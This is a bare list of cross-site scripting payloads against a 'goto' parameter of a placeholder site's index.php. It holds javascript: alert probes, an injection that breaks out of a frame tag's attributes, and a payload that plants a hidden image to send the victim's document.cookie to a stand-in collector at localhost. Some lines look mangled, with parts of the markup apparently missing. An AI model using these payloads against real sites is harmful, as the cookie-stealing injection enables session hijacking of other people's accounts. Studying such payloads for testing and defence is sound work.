site.com/index.php?goto=javascript:alert(1);

site.com/index.php?goto=">alert(a);

alert(a);" name="main" scrolling="auto" NORESIZE frameborder="0" marginwidth="20" marginheight="20" border="no">

site.com/index.php?goto=javascript:i=document.createElement('img');i.style.display='none';i.src='http://localhost/?'+escape(document.cookie);console.log(document.body.appendChild(i));